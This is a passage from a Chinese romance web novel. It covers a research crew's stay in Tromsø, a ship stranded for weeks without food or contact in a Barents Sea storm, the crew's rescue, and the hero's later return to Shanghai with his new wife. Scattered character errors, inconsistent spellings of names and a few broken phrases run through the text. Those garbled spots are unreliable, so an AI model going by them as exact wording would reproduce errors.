那晚是他们两个人吃的饭,庞正平去叫人时,发现李已经睡了。大概是很疲惫,累极了,抱着电脑,还在看电影就睡着了。脑袋歪在枕头上,手肘轻轻搭在侧脸 Eliott说他人呢。 “睡觉了,给他留点饭,我们自己吃吧。 庞正平掩好门: 小Eliott非常惋惜:“太可惜了,我今天做了鳕鱼排!你知道,我们基地很少采购鳕鱼的,他居然没吃上现做的,没有口福. 庞正平坐下来笑了笑。 那晚吃过晚饭,Eiot就去隔壁宿舍骚,扰倒毒的加拿大人。因为他不知道从哪里听说,加拿大的鹅绒不错,羽尖一点浮白,漂亮华贵。他势必要让对方答应寄件料子给他瞧瞧 庞正平留下来收拾碗筷。约莫到了十一点多,Eliott还没有回来,估计是玩嗨,要直接在隔壁睡 庞正平开了罐啤酒,在地毯坐下,百无聊赖拿起遥控器,调电视节目看,厨房旁的房间门被推开,庞正平看一眼说:“醒了?Eliott留了鳕鱼套餐给你,他说可惜你错过了我们的温馨晚餐。男人没有说话,无声无息。他还是那件睡衣,极夜来临,挪威气温持续低冷。人在那种环境中,身体其实会被迫白适应。庞正平觉得李潇最近瘦了不少,准确来说,是更清寂了。他外表看上去,甚至有些形销骨立。 李潇大概是没听见他的话,又或是听见了,却恍,不能准确翻译他话里的含义他像一团漆黑中的暗影,飘渺虚无,手扶着墙壁,一瘸一拐走进厨房。又游魂般走出来,在餐厅中央停了很久。夜色很凄清,庞正平放下遥控器,静静望着他的方向。 他有瞬间想起解离,魂魄在半空飘,与肉身分离天上见。不是他错觉,他觉得李当时就是这样的状态。 庞正平张了张唇,想问他一句怎么了,最后却没有问出口。 又过去不知道多久,电视机嘈杂的声响,几乎已经和夜色融合男人才仿佛恍然回神。庞正平看他走过来,若无其事撑着沙发,在地毯上坐下。 庞正平把酒递给他:“给你开罐新的?“李潇望着酒瓶,点了点头。庞正平拿罐新的扯开拉环,和他碰了碰杯,仰头喝了。李却垂着睫,指尖搭在瓶身,不知道在想些什么。忽然他开口,低低道:“那部电影我看完了。“ 庞正平一愣,没反应过来:“什么?"李潇说:“梁朝伟那部。“《花样年华》?" “嗯。 庞正平一时间有点语塞。 他上次提到梁朝伟,是什么时候? 两个月前? 怎么忽然说这个。庞正平耸肩偷散笑笑:“哦,挺好看是不是?梁朝传很帅,“路我,如果有多一张船票,你会语会同我一齐走啊,太她了,我以后也要对女人这么说,你和你对象也说说看啊,说不定她也喜欢梁朝伟这一套。窗外风声呼啸,刮起窗棂的积雪,糊在玻璃上白茫茫一片。庞正平侧目,李漾还在看酒瓶,手臂重量压在右腿上。那是离开特罗姆瑟的最后一夜,夜色昏沉,他静静一笑:“不会的。” 他说:“我舍不得。 船出港是早上六点五十,挪威那天下起小雪。 对于出海这件事,大家的表现都很兴奋。这不是第一次出海,之前在罗弗敦,做相对适应训练时,已经将船开出过深远海域罗弗敦群岛环境复杂,峡湾地貌显著,相应的,海上起浪时,对船和人的影响也非常大。 月(体表和4海的箭庞正平就吐了。吐得昏天暗地,连他自己都觉得怪恶心。李潇把自己的呕吐袋给他,帮忙倒了杯水。庞正平气若游丝:“你是不会吐吗?” 男人脸上已经在笑:“会的吧,我现在也有点不舒服。” 那他真是这个,庞正平朝他竖大拇哥,一个浪过来,他转过身继续趴着吐。 李潇坐在靠窗的座位,环臂低着头。他没什么特别的反应,好似只是在闭目养神。 然而额角青筋凸起,庞正平听到他不规律的呼吸。 估计也是很难受的,只是在强撑着罢了。 强自呼吸片刻,李潇起身走向舱外。隔着玻璃,庞正平看见他双手撑着栏杆,深深吐息密集的雪花瞬间擦白了他的身体,恍然间,好像头发都白了。这趟行程返航,基地成员大多吐得要命,下了船,连走路都是有气无力的。只有李潇,慢慢落在后面,仍然是那副低着头不语的模样。 不过经过训练,这次出海想必好得多,庞正平信心满满。毕竟之前在罗弗敦,他还叮嘱李潇,记得买点晕船药。装得真的似的,结果最晕的居然是他,那也太丢脸了。船上提供热可可,挪威人就爱喝这个,庞正平要了两杯,递给李一杯。男人说:“谢谢。”他身上羽绒服贴着基地特标,明明大家都穿得一样,可是穿在李漾身上,就是显得他整个人高耸挺拔“在干什么呢?”庞正平看他握笔,“还在写航程日志?"“嗯,新的一年了,今天一月三了。 “今天我们应该要航行到挪威海,再往北就要进北冰洋圈了,你说会不会看到北极熊? 李潇笑而不语。 庞正平捧着热可可,异想天开:“要是真能看到北极熊,哇,我就有得吹了啊。上次我出海看鲸鱼,给我妈咪打视频电话,你猜她说什么? “嗯。" “她骂我发瘟啊,大冬日出海睇冰山!" 他和家里人关系很亲密,原生家庭相当好,李望着他,眼眸里流露出不易察觉的温柔其实也是羡慕的。只是人各有各的阴晴圆缺,他这辈子,也得到过很好,很好的东西了。 李说:“我想去和警卫借个相机。 他们的通讯工具被没收。 船上拍摄设备虽然有,只是那都是为侦测水下海域准备,李想借个私人的。 “怎么,拍照片给家里人看啊?"庞正平说:男人缓缓搅动纸杯里的木勺,唇角噙着很淡的笑意:“给.…我女朋友看,她很喜欢小动物。“靠。”庞正平骂一声,忍不住笑了,“你真当能见到北极熊啊,我说着玩的! “你不是说能见到鲸鱼吗,我想拍那个给她看。她从前晚上睡觉,喜欢看电影,最喜欢的是,嗯,《海底总动员》。虽然里面没有鲸鱼,但我觉得都是鱼,应该差不多吧。 他说得一本正经。 庞正平哈哈大笑:“那是小丑鱼和蓝唐王,又叫帝王刺尾鱼。谁跟你就差不多了,无趣的男人!”李潇也笑了:“她也说过我很无趣。” 可他没半点恼怒,提起这件事,满心满眼都是温柔。他们在海上漂了两天,第二天就顺利达到目标海域,监测员戴上装备潜入水下,进行数据测验。李潇在电脑前,静静看雷达传来的讯号。那是风平浪静的一个午后,粉色天光笼罩,北冰洋无限温柔。第一次正式出海如此顺利,令所有人欢欣鼓舞,信心大增。李潇也难得放松表情,眉眼揉出一点夹杂细雪的笑意。他望着远处和缓起伏的海面,忽然不知道谁喊了声:“鲸鱼!"李潇视线温和投去。靠近冰山处,一条虎鲸跃出海面,又迅速腼腆沉入水中,身影一闪,只来得及捕捉到它一抹墨蓝色尾翼然而紧接着,它再次跃起,尾翼拍开水浪。船上欢呼,天边金粉色霞光浮现,铺在海面李潇举起相机,在船头留下一组照片。 那是他和北冰洋打的第一个照面, 天似水, 海温和,他以为大洋如此柔情。 96、风暴·巴伦支 庞正平发现,李潇这几天状况不太好。 “应该是膝盖的问题。"Eliot提醒他,“从挪威海回来后,他走路就一直不正常,虽然,他一开始在基地也不正常。但是远没有那么严重,你懂我意思吗? 庞正平指尖夹着烟, 抿唇看了眼房间方向。 房门紧闭。 他拧着眉, 这是第几天了? 他敲了敲房门,里面应声,传来轻微窸窣的声响。可能是等着开门太急,绊倒了什么东西,哐当砸地. 庞正平一愣,说需要帮忙吗。 里面男人静静地:“不用。 这种情况次数不多,李潇毕竟是沉稳的性子,能让他走路绊东西,不容易。然而就那么几次,也够宿舍两个提心吊胆庞正平最初真是狠狠吓了一跳,下意识想强行推开门。门在里面被抵住,男人有些狼狈的声音恼怒传出来:“我说了,不用。庞正平气乐了,气到飙,粤语:“唔系,哩个时候了大佬!"里面仍是不出声。 Eliott把他扯去客厅:“你是不是蠢?他膝盖不方便,你去帮忙,他没有白尊的?“哇,我只是好心。“我知道啊,他也知道啊,但是都是男人。”Eliott摊手,“他会难受的。庞正平冷静下来,想想就明白了道理,后面他和Eiott彼此注意,约定不再去问李漾膝盖的事。统归李满不爱说话,他们不问,他从不提。他甚至到了后来,也再没提过他女朋友。那一场情事,就像他的膝盖,他在极夜里守口如瓶,讳莫如深, 倒是有一次,比较意外,是庞正平居然听别人问起了相片里的女生。那时距离他们第一次出海不久,一船人带着数据回港,在特罗姆瑟缘海基地休整。没过几天,他们将数据反馈调整,又要重新启航.这次是前往格陵兰海域,依旧清晨出发,夜晚住在海面,-月中旬的夜晚阴冷,连风也带着飕飕寒意。明明出发还是晴天,到了晚间,天气变换,天空被云层挡住,就已经看不见凄清月亮。 那天大家都很兴奋,雷达定位成功,下午时分,第一枚海下通讯监测投放完毕。 尽管那天很冷,当日气温逼近零下三十。 可所有人还是难掩雀跃。 晚饭吃的一种番茄海鲜汤,里面泡干巴面包。庞正平挑眉,觉得这和胡辣汤里撕羊肉泡馍有什么区别?而且胡辣汤多香,可比这碗东西好吃多了。只有李潇吃得惯。庞正平喝着看了眼对面男人,来挪威开始,他就没听李说过任何抱怨。那些吃食,气候,李潇总是不太关心。或许是本身感知变得麻木了,他不受刺激,总是这样也行,不这样也可以。庞正平很少听他有过什么诉求,这碗汤是个中国胃都忍不了,可李低头静静喝,什么话都不说船上在玩喝酒游戏,类似于酒后吐真言。其实这种游戏,一般都是酒局聚会常驻客,要有男有女,轮转起来才够热闹。可现在毕竟没有女人,想玩刺激的玩不成,游戏规则就改了改——酒瓶子转到谁,谁就要说真心话,也就是回答一个刺激问题。这种问题,落到一帮洋人手里,基本逃不开情和性,更多是后者。酒桌上问性很疯,譬如问加拿大人尺寸,粗度长度,多持久。那个加拿大佬特别倒毒,点巨背,转了好几次都是他,喝得脸红脖子粗,差点在酒桌上脱裤以证清白。 Eliott也被问,结结巴巴说不出来,加拿大说:“靠,你不会是处男吧?"被小马赛梗着脖子揍了一酒瓶。庞正平揉着额角,笑得很无奈。他的问题没有那么露骨,他们问他有喜欢过什么人吗,他说有。“在哪里?" 庞正平笑了:“苏黎世的故事,就留在少女峰。最后终于问到李潇,这个自酒局开始,就闷头食饭,不声不响的男人。他一直坐在窗边,靠着舷窗外一抹苍茫清冷月色,他喝酒,表情淡淡,呵出的热气喷洒成白霉,Eliott发誓要挖出他的故事:“终于轮到你了!说说吧,老实交代。李潇只是弯唇:“交代什么。他从来不多话,整个人都显得很神秘,可基本所以成员都对他感兴趣——寡言冷淡的性格,超凡脱俗的专业能力。那么极端的反差,太让人有探究欲了好么。 有个高个子男人说:“聊聊你的情史,你这家伙不会从没和姑娘谈过恋爱吧?李潇估计有些醉了,眼睛里淡淡朦胧光晕,声线虚浮轻懒道:“嗯?" 那男人只好把问题再复述了一遍。 出乎庞正平意料的,是李潇支着额头,竟然真的回答:“有,有过。 声音好沙。 可这个回答可劲爆多了,毕竟照他这种孤僻寡然的性格,究竟是什么姑娘能看上?庞正平也只是之前听他提过,具体也不了解。众人一时间七嘴八舌:“长得漂亮吗?”“亲过嘴吗你?"“现在还谈着吗?不会已经订婚了吧! 座椅里的男人侧过身体,眼睫半垂,唇角微微噙着弧度。 或许是他今夜喝多酒,还算好说话,那些无伤大雅的问题,李都不痛不痒回了。迎着众人的起哄,也会笑笑。不过后面问题越来越过界,涉及到更深情爱。 他渐渐抿紧唇,不再回答。 有人问他,和那姑娘上过床吗,问得很下流。李眼神扫过去,冷冷寒了脸。 他们催促他回答,他偏过头扯唇,并未搭理。 都酒喝多了,有点脾气,庞正平看见其中一个推了下他肩膀:“说清楚点,不然喝酒! 照定的规矩,如果回答问题,就只需喝一杯。可回答不上来,桌上满酒十杯,都是用的大杯量,逃不掉,一杯杯灌下去才算完。 玩这种游戏,都很给面子,也没人真的想喝。 反正也就是说句话的事,就算回答不上来,编个答案也能蒙混过关,总之场了热了就行。 可是李潇没有。 他唇色泛白,唇角还是那抹极淡的弧度,已经快要消失不见:“我喝完,不提她。 他垂下眼睫,闷声不响,将十杯酒揽到身前。 庞正平侧眸看他,那道身影无喜无悲,清瘦萧索。他忽然无端想起,这几天,李在家里是如何走路。 膝盖遇到湿冷环境发痛,那种情况可以喝酒吗? 他不知道,也有点忘了。从前在尖沙咀买药酒,店里的阿叔似乎叮嘱过。不过可惜,过去太久,他已经记不得了。 李潇一杯杯仰头喝尽,周围起哄吵闹声震天,几乎掀翻整个船舱。庞正平静静拾起眼,看着他模样,满室热闹里,他竟觉一丝悲凉。 那次喝酒结束,众人清醒。想起问的问题过了界,似乎触犯到李不想说的伤口,基地成员有很长一段时间,和他关系尴尬天淡淡又冷了,可能喝酒受了影响,李溁膝盖情况越发得差。很多时候在宿舍,只是从他房间到厨房,那么一小段路,庞正平都能看见他扶着墙,一瘸一拐,磨蹭走上很久。庞正平有次实在没忍住,还是问了他膝盖的事。李潇说:“没什么事,就是从前出过意外。“打架打的?“嗯,算是。当时庞正平在客厅放电影,郑伊健演的《古惑仔》。庞正平扬下巴示意李看电视:“你以前也是这种?影片里郑伊健问山鸡呢?小弟说,在场子里玩女人。 李漾看了眼,笑了:“我可能不是这种。“我看你也不是这种,你这膝盖,医生说没治了吗?“没了吧,当时伤挺重的。““药酒有用吗?我阿公好信这个。李漾弯唇摇头:“真的不用。他要回房间,庞正平说:“诶。那天喝酒问你的问题,你知道的,他们都喝高了,一群人荤素不忌,你别放在心上。李潇顿了顿脚步:“我不会。庞正平嗯声,沉默了会:“你挺爱她吧。这个问题李潇没有回答,他走进房间,关上了门。庞正平回头,继续看电影,明明暗暗的光映在脸上,他喝酒,拎起酒瓶。听着郑伊健唱歌,忽然想起来之前联欢会。李潇眼睫沾着雪,好像淌过泪。他当时唱了什么来着?想了想,庞正平想起来。好像是刘德华陈慧琳的,《我不够爱你》 李潇和基地成员的尴尬,一直持续到二月,那时候他们再次航行,已经漂泊海上。走洛普水道,穿过挪威海,进入巴伦支海域或许是运气不好,那段航程一整条路段,他们遇到的天气都异常极端。很多船员受不了颠簸,起初还是吐,吐着吐着竟然习惯了。船上宿舍是两个人一间,有点像酒店的标间,不算豪华,但也并不简陋。庞正平的晕船还没有好,他原本倒是以为自己好了,结果谁想到,能遇到这种鬼天气。“诶,有晕船药吗?" 庞正平难受地撑着床沿,几乎不报什么希望。船员之前都适应了,谁还会特地去买晕船药。 然而李潇拾起眼睫:“有。 他说完低下头翻包,从里面找出一盒晕船药,一盒晕船贴。李把东西递过去,起身将窗户开了条缝。 他做这些很沉默,做完就静静矗立窗边。房间朝向不错,只是可惜天阴了,天幕昏沉,轻薄的纱帘在敞开的窗前飘飞. 只能看见窗下海水漆黑无尽,远处冰川孤独。 庞正平愕然,没想到真有人准备,还准备得很充分。他把药放嘴里,拿水灌了,呆呆感叹:“有没有人说过你,还挺会照顾人的?李潇一怔,那瞬间模样迟疑,竟有些发愣。不知道是回忆起什么,他抬唇:“可能有吧,但我其实做得没那么好,你过奖了。"庞正平心说鬼扯,这要是都不叫做得好,那还有更好的?他半是叹气,半是感慨来了句:“你女朋友也太幸福了。李潇嘴唇微白,无言良久,最后笑了笑:“没有,她遇到我,其实很倒霉。庞正平看了他一眼:“怎么倒霉?他状态有些恢复,李漾就将窗户重新关上,走过来,坐在床沿。靠窗太久,肩膀已经被水打湿.窗外天幕仍是黑沉,只是那么多天朝夕相处,他已经能平和讲出心里话。尽管不多,但也算是进步。 李满面色平静:“她其实家境很好,是个小,人很乖,很会替别人考虑。她家里给她安排的婚事,也是很好,很好很好.…很多时候我在想,要不是遇到我,她或许现在早已嫁人。庞正平最初没在意,随口问了句:“多好?"怎么样,是嫁给哪方哪家豪门,让他审判审判呢?后来说了个名字。庞正平微张了唇,哑口无言。这确实是真的好婚事,这个审判不了一点。但想想,他应该是要站在李潇这边。庞正平立刻换了表情:“不好意思啊,没说这个好,我就 复制成功没想到这男人看着闷声不响,对象这么有背景。李潇并没生气,仿佛对他来说,那些往事云烟散尽,早就不值一提。他摇摇头:“我知道我比不过,你不用道歉。也不是比不过吧,你也别这么说。”庞正平有些尴尬了。这门亲事,确实好,谁看了都说好。他倒是想说点什么安慰的话,但是想了半天,也讲不出来。最后只好说:“可她不是爱你吗。”爱不就行了,想那么多。后面李潇要怎样回答,庞正平听不见了,窗外陡然传来一阵闷响,窗户被吹开,紧接着天彻底黑透,风雨大作。那阵暴雨仿佛破罐倾盆,从天幕垂直而下,砸在海面,也砸在船舱甲板。霎那间整艘船都在剧烈颠簸,窗玻璃震响,发颤,白色雨线横飞。天昏茫茫了,什么也看不清楚。那是二月三号的夜晚,从二月伊始蛰伏的阴沉天气,终千在抵达巴伦支海的这一天,尽数变了脸色。从紧迫的昏沉,变作辅天盖地暴雨船上警卫奔跑着,一间间敲起门来:“集合,都到一楼集合!"庞正平不敢耽搁,迅速披衣起身,李潇走在他身后,两个人几乎一路跑下甲板。船在摇,天花板吊灯在晃,庞正平猛然想起,李漾膝盖还有伤他回眸,看见男人低着眼。 他走得并不稳,撑住扶手,额角的汗细细密密渗透出来。 97、明月·照我还 失去联系的第五天,他们仍然在巴伦支海漂泊。通讯是在三号当晚就断了,只是船长不死心,拼命要求警员和附近海港取得联系,结果当然是无功而返。而就像是死神来临前的预兆,到了五号夜间,巴伦支海掀起狂风巨浪,暴浪扑向船舱, 将一楼休息室尽数淹没。接二连三的破坏,船舱被摧残得没有招架之力,哪怕七号上午,积水彻底排出,可引擎还是受到影响,形成故障,他们开始在巴伦支海打圈。对于航行者来说, 这是凶险十足的情况。没有引擎动力,意味着任何方向,都只能靠上天的指引,他们或许会越来越远离母港海域,彻底漂泊到北冰洋中心。庞正平苦中作乐:“这回是真要看见北极熊了。他那时候正和李漾在房间,几乎所有人都回了房问,只有Eliott跟随船上人员去了调控室。他这回真没说谎——他从前在蔚蓝海岸的海港干过,他有着马赛人最纯正的血统与天赋,不屈不挠,与风浪搏斗 Eliott向所有人宣誓:“我一定会把引警修好。可是直到了夜晚,海面无边无际只有乌云,楼下调控室没有传来一丁点消息,这种时候,那句老话是不成立的,“没有消息,就是最好的消息”对于他们来说,迟迟不报喜。其实就意味着很难有希望了。庞正平躺在床上,凝神望了会儿天花板。他回过头,身边男人正坐在书桌前,伏案写着东西。“又是航程日记?”“嗯。" “写了多少了?"“挺多,从第一次出挪威海开始。“你很细心。这句是由衷的夸赞,庞正平很久不写日记了,也就从前念本科写过。当时他精神状态不好,很容易情绪崩盘。到了后来,病好了,就觉得写日记枯燥又乏味。重点是,他的人生乏善可陈,每天都在日复一日重复同样的事情,他也就懒得写了。李潇说:“不是细心。”“哇,你都写日记了大佬,还不细心?我只见过女孩子写日记。他说得很夸张,男人温和一笑:“只是想,记录一下。"李潇抬起眼。 窗户外的风雨愈演愈烈,仿若天幕倾塌。 他眼睫不受控制抖了抖。 这种天气状况堪忧,让人的头脑也昏昏沉沉,犹如梦境,没有任何思考能力。 船舱进水那一晚,所有人浑身湿透,海风寒冷凄清。 水把人扑倒,休息室一片昏暗,极夜的天色多么阴郁,是暗沉沉的墨,仿佛浸透了血。所有的舷窗都被风强行吹开,锋利凛列的寒风肆虐,一瞬间夺走人的呼吸 视线愣愣看着舷窗外的天幕:“要是真的,没能回去” 庞正平吓了一跳:“呸呸呸,这说得什么话,还能回不去?肯定能回去,你别瞎想!” 桌前男人笑了笑,不说话了。 到了隔天,仍然没有消息传来,倒是听那个加拿大人说,小马赛发起高烧了:“高烧不退,很吓人,船上已经没有药了。 庞正平瞪大眼睛: “怎么可能,药呢?出海航行常备药,这是最基本的。”尤其是远程航行,大部分时间都在海上,船员一旦生病,没法进医院医治,只能靠吃药。 艘普通远航船上的药品数量,堪比一家小型药店,这是毋庸置疑的。 加拿大人说:“原本是有的,只是船舱进水,那晚所有药都被冲走了。”他沉默了会儿,“包括食物。 庞正平眼睛狠狠一抖。 没有药,他们尚且可以祈祷各自不要生病,互相激励着渡过难关。然而没有粮食 艘引擎报废,通讯失联,且远在北冰洋外围的船只上,没有粮食。 庞正平不敢再继续想接下来的后果。 他告别加拿大人,回了和李潇的房间。 李漾还在睡着,之前船舱积水,他是整个队伍里唯一敢直下一楼,想办法抢救保护引擎的人。 那时候暴雨横飞,他在甲板跑进跑出,等庞正平找到,他已经整个人浑身湿透。 昏暗没有月光的夜晚,庞正平只能看见男人一双清幽的眼睛。 房间很静,几乎听不见人的呼吸,庞正平躺回床上,看见两张床之间的书桌放着李的日记。 风暴来临后,他每天记录,甚至变成不同时段多次。 庞正平喉间喑哑。 李漾眠于蓬松的羽绒被下,侧身迎着窗口,他床头一缕清幽的月光,和他交颈同眠 庞正平听见明显急促的喘息,猛地一颤,伸手去探,掌心摸到满是虚弱滚烫的汗:“喂,喂?你发烧了,你听得到吗? 这场高热不知是从何时起,或许是昨天他淹进水里弄引警,或许更早 然而不管如何,庞正平最担心的事仍是发生了。 有经验的水手都会知道,在缥缈海上,如果船员发热目没有药,放在从前,为了隔绝感染,说不定会把他们直接投入水中。 庞正平想摇醒他,窗外暴雨一直下一直下。 “你能醒醒?能听见我说话吗?喂,这不是开玩笑啊大佬,你能不能醒醒? 他用手背轻拍被子下男人的脸,毫无反应。 李潇蹙眉摁住他手,发热的脸颊冒着红,嗓子缺水,干了,他声音哑呢不清: "家月,我眯一会,我真的有点困了。 “什么,你说什么?”庞正平贴过去,“什么月?" 可是他再没说了。 庞正平心有余悸,慌得几乎大口喘着。 他陡然反应,为什么最初选房间选床位,李潇对之如此钟情。 那抹月色黯淡地照着床头,照着他蹙眉喘息的侧脸,将他的轮廓照映模糊,他每晚和月色作伴。 庞正平忍不住摇他肩膀:“那她还在家里等你呢,喂!" 他冲出走廊:“有人吗,有人过来看看吗!这里有人发烧了!他喊了很多遍,换法语西语,他能想到的语言。休息室倒是很多人聚集,然而没有人可以给他回应。他们三三两两坐在那里,垂着脑袋,无力而沉默地看着他,明明亮着火,暖黄色阑珊顶灯,氛围却死般沉寂。庞正平意识到什么,停下脚步:“怎么了,为什么不说话?"他扫视一圈,心咯噔一声:“Eliott呢?他怎么不在?在房间休息吗?还是“他快不行了。庞正平眼瞳震颤,突然像被绊倒,往前几步:“你开玩笑吧?"“没开玩笑,兄弟。”那人坐在地上,安静而凄凉看着他,“不只是他,我,我们….都快要死了。“我们没有食物了。”庞正平噤住声音,他想问那设备船呢?有没有什么办法,那条船上的人呢?然而两天后,现实给他迎头痛击——他们的设备船也彻底失联彻底失联,彻底失联。这里是哪儿?茫茫的大洋,冰川随处浮现,他们在世界尽头,在冷酷仙境在生命即将到终结,死寂之地。李潇两天后能够坐起身时,船长正在给每个船员发信纸。那是船胎公司统一的用纸,上面印着挪威语,标明了所属公司的名字:“没有更好的信纸了,你们将就着用吧一孩子们,写些什么,给家里,给妻子女儿,或者儿子,或者不管什么都好,写一些话吧。 船舱静了一片。 不知是谁第一个哭出声,起先是绷不住的哽咽,渐渐哭声葛延。悲伤,凄惶的情绪,随着风声澎湃灌入,整个船舱响起痛苦的哀泣。 原来人到绝境,男人和女人也并没有什么不一样。 都是被恐惧吓破胆,傻子而已。 庞正平看见李潇走出了船舱,外面正雨雪肆虐。他刚踏出,身影立刻就被白色裹挟,遮盖,什么都看不见庞正平抿唇,静坐一会儿,忽然也起身走出去。男人坐在船尾,那里只有一条一人宽的过道。他背靠着墙壁,腿弯起,抵住栏杆。风愈刮愈烈,吹起他已经有些长的额发,遮望眼,也吹起船尾旗帜。只是那面旗早被雨雪浇湿,已经无力扬起。 他环臂坐在那里,无声无息。呼吸还是急促,或许温度并没有降下来。 庞正平沉默了会:“你,写了吗。 他没具体说是什么,就好像避谶,也像讳疾忌医。这种时刻,临到头了,他竟然突然很信这个,觉得只要不提,就会躲过一劫。然而怎么可能,命运的刑赏与恩罚,早已在最初有了答案。李漾看着前方:“写了。”“写了什么。"“不知道。”他扯了扯唇角,仍是没看他,“瞎写的。 庞正平不知怎么,喉间发紧。 他陡然想起,李潇随身携带的那支笔,那支他始终不肯丢弃更换,用了大半年的笔,应该没有笔油了 他也没有借,所以是用什么写。 余光蓦地警见他指腹,一道横斜的划痕:“你的手,怎么了?"男人低眸瞥去,不甚在意蜷了蜷指尖,喉咙嘶哑:“没什么,扶手螺丝划到了。"大雪吹皱他眉眼,庞正平站着:“你说我们能活吗。”李潇不说话。“我现在有点后悔,之前觉得福大命大,尽管看了风险评估,但是从没想过真会有这种事。”庞正平看着远方浪涌,“现在就是后悔,早知道保险早点买了,买一整套,受益人都填我爸妈我爷爷。李潇仍是没吭声。庞正平终于低头看他:“你这些呢,想过吗?"纷纷扬扬的雨雪,从天而降,肆虐遮掩,在男人英气的面孔撒了一层冷霜沉默半响,庞正平听见他开口:“我处理好了。"庞正平一怔。李潇淡淡道:“如果我死了,我的资产会留给我妈妈妹妹,有部分现在还未在我账下,等移至名下,也会一并转给她们。庞正平不知怎么,忽然想问:“你那个,那个女生呢,你没留给她什么吗?"“有的。”李潇凝视前方,安静道,“我给她留了一部分钱,不多,但是不管她今后想做什么,重新嫁人也好,生子也罢,我保她此后无忧。" “她嫁过你吗。 “没有。" 庞正平轻笑:“那你说什么重新嫁人。 “我当她嫁了。 庞正平失了语言。 “我之前和你说,她有未婚夫的事,可我没有和你说过,我其实很嫉妒他。我嫉妒他家世,并不是嫉妒他有权有势,物质我不贪,我只是嫉恨,他这样的家世才能娶她.…." “你知道我们蠢人,也动过蠢念。 他说:“离开她的那年,我去了趟福州,在西禅寺求了支签。那晚距离最后见她,已经去了有半月,我不知哪里来的想法,半夜打听她如果订婚,未婚大家会给出怎样礼金额数。 “那晚我立过遗嘱,她出嫁,我留给她的超过她夫家聘礼。她嫁的不是我,我不怨,我当娶过了。 雨雪呼啸吹散,他的脸庞静静清隽,似惊涛骇浪中融掉的坚冰, 细雪横飞,吹初眼肩 一直以来,他都是一个孤独的人。 在基地,他不多话,他们玩闹,偏他不爱笑,不常笑。liott说他平时绷得紧,早晚有一天,精神会比身体更先崩溃. 又气又恨的话,而面对这些,李潇依旧泰然自若不改变。 如今弹尽粮绝,濒临绝地,庞正平在暴雨中想起此事,忽然觉得,或许Eliott也有一次失算。 他们快要死了吧,形销骨散,死后会去哪里,庞正平不知道。 可即便死了,腐朽了。 魂魄在天上飘,这个人却还是爱。那是二月中旬,持续风暴半个月的安静午后,天幕阴沉得仿佛世界颠倒。庞正平挨着李潇,坐了下来,学着他的模样看天幕倾颓。“我们是不是大限将至了。”李潇安静弯唇:“也许吧。他们在零下三十度的室外甲板,坐了整整一夜,听着船舱原本震天凄惨的哭嚎,从悲戚湿衫不忍听,到后面,也累了倦了绝望了,变得渐渐沉寂。风暴持续肆虐,天是黢黑的,偶尔呈现肃杀的暗红。李潇身体状况每况愈下。他高烧不退,没有药,温度实在太厉害,他只能坐在船舱外自行降温。他闭着眼,雨和雪在他身上,打湿他羽绒服,身体。 庞正平每隔一小时,会喊他一次。李潇说怎么了。庞正平扯了扯嘴角:“没事,怕你死了。"李潇笑着说滚蛋,要死还得段时间,别咒我了他精神还行的时候,还是会去尝试唤醒引警,也会试图修复通讯设备。他窝在狭小的装载设备的角落,持续性暴雨,露天在外淋雨,他那条左腿,几乎是废了每走一步都是钻心疼痛。庞正平看得不忍心,Eliott烧退了一点,人能说话,只是还是不算太清醒。他说梦话一样,问船上情况。庞正平说,没人死,但有人病。他又问,引擎好了吗。没好。 Eliott坚持下地:“我得去看看,我得去修引擎。 庞正平扶住他。 说,李潇在替你。 就这一句话,这个来自海岸的年轻马赛人,哭得涕泪泗流, 可李潇也不是专业的,不是铁打的,不是万能的。 他也会痛,会生病,会失去生命。 再过了五天,已经没有任何吃食、淡水的情况下,李听着通讯设备,第一次听到了嘶嘶电流的杂音 他踉跄走进船舱时,所有人都以为他疯了。 疯子在说话。 怎么可能还有声音。 可是那道声音,是那么清晰,那么悦耳,尽管全是电流音,尽管只有一点点几乎可以忽略不计的人声船上所有人,还是骤然泪如雨下。那时候已经逼近二月下旬,很巧合的,在通讯设备传来电流音的那天夜晚,暴雨渐渐转小了幽灵鬼魅般寂静的巴伦支,飘飘渺渺,雾般的海面,竟然远远的,从遥远方向传来一声鸣笛,那声笛响,就像是来自天边外。横旋的暴雨刮入船舱,所有人猛地打了个寒颤,身体比思绪更快,跟跄着从地上爬起。多天滴水未进,他们行动慢了,却还是争先恐后推开门,挤到了外头的甲板上。“是船,是救援船!看看那旗帜!""嘿!我们在这里! 他们跌跌撞撞,在看不清视线的雨雾里奔跑起来,没有人不振奋,连船长都在流泪 多年航海经验,他竟然真的次次化险为夷。 那艘船越来越近了,船上三层船舱,灯火全部点起,亮如白昼。 看见遇难者,船上的哨兵嘶吼,叫着些兴奋、夹杂感动的祷告语。 他们放下舷梯和搜救艇,将所有人接上甲板。 那是艘威武的船,崭新,硕大。 船头的挪威旗,红色鲜艳,在飘泼的风雨下猎猎飘扬。 船上哨兵解释,船只失联时,他们就展开了搜救工作,只是一直没有任何头绪。直到不久前, 每个人都静默了,庞正平捂着眼睛,身体颤抖。 只有李潇还是平静的。 他真是一个无比奇怪的人,明明已经到这种地步,人生大起大落看遍。短短半个月,或许走了旁人一生都没法经历的道路。 可他却还是坐在那里,静静垂眼,看不出任何表情。 庞正平分到面包和热可可,他照例拿了一份给李:“吃点? 李漾接过,没有声息吃了起来。 庞正平说这次死里逃生。 他不搭话。 说回去后,要好好祛灾请神。 他仍是不答话。 他就像失了魂和魄。 98、爱像雨季 01 那天领证之后,隔天,陈蝉衣先和李回了趟上海。她最初还有些惴惴,想问他研所的事真的都处理完了吗:李潇微笑,温柔抚摸她发:“不要紧的,都解决了。”他做事向来有分寸,她听他这么说,心里也稍微放松下来,悄悄红了脸。毕竟是新婚,她心里,还是有些新嫁娘的羞怯。 “这么久不回京城, 不要紧吗? 李潇去上海, 是为了带她见赵舒婉。 陆承风当年答应他照顾家里人,半点不含糊,在浦东滨江段购置了座花园别墅。 家里有佣人在,负责洒扫照顾,暮雨上下学都有司机接送。 他们飞机落地浦东机场时,陈蝉衣张了张嘴,还有点惊讶:“这些都他出吗?"好阔,现在江浙沪圈子发展成这样了吗,是她孤陋寡闻了。 “谁说都他出了。”李想想,“他说从欠我的钱里扣,扣满为止,多出来我还要贴给他。半晌她讷讷吐出句:“可以去班级群骂他吗,好狡猾。果然资本家还是资本家啊,惹不起。她好护短,李笑了:“算了,别骂了,他最近也日子不好过。" 